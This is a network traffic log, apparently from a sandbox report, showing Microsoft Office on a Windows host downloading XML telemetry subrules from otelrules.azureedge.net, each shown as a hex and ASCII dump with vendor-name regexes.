2024-11-10 18:44:57 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:44:57 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:44:57 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:57 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 48bb68ea-401e-0016-35ff-2c53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184457Z-16547b76f7f7scqbhC1DFW0m5w0000000cw000000000a8dm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:44:57 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:44:57 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:44:57 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:57 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1a2e7d6b-a01e-000d-7bfc-2cd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184457Z-16547b76f7fkcrm9hC1DFWxdag0000000d2000000000gp66 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:44:57 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:44:57 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:44:57 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:57 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: e192764b-601e-0050-482e-322c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184457Z-15869dbbcc6khw88hC1DFWbb2000000006pg00000000md5n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:44:57 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:44:58 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:44:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:58 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 4fda4cb6-f01e-003f-2793-31d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184458Z-17df447cdb5fzdpxhC1DFWdd3400000009kg000000003k54 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:44:58 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:44:58 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:44:58 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:58 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 8ea7b729-301e-006e-7438-33f018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184458Z-17df447cdb5vp9l9hC1DFW5hw800000004v000000000meuz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-10 18:44:58 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:44:58 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:44:58 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:58 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 30929569-101e-008d-79ff-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184458Z-16547b76f7f76p6chC1DFWctqw0000000d2g00000000f0a6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:44:58 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:44:58 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:44:58 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:58 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 09da145b-201e-0033-5108-32b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184458Z-16547b76f7f67wxlhC1DFWah9w0000000cx000000000mcvk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-10 18:44:58 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:44:58 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:44:58 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:58 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: def873b9-d01e-0065-46f7-2cb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184458Z-16547b76f7f9bs6dhC1DFWt3rg0000000d2g0000000030qm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:44:58 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:44:59 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:44:59 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:59 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 5b0f577f-401e-0083-0132-33075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184459Z-17df447cdb5fzdpxhC1DFWdd3400000009dg00000000k45k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-10 18:44:59 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:44:59 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:44:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:59 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 18242d92-601e-005c-0fb0-2ff06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184459Z-15869dbbcc6tjwwhhC1DFWn22800000006bg00000000b8a7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:44:59 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:44:59 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:44:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:59 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 63ea3643-901e-0015-3101-2db284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184459Z-16547b76f7f8dwtrhC1DFWd1zn0000000d5000000000a075 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:44:59 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:44:59 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
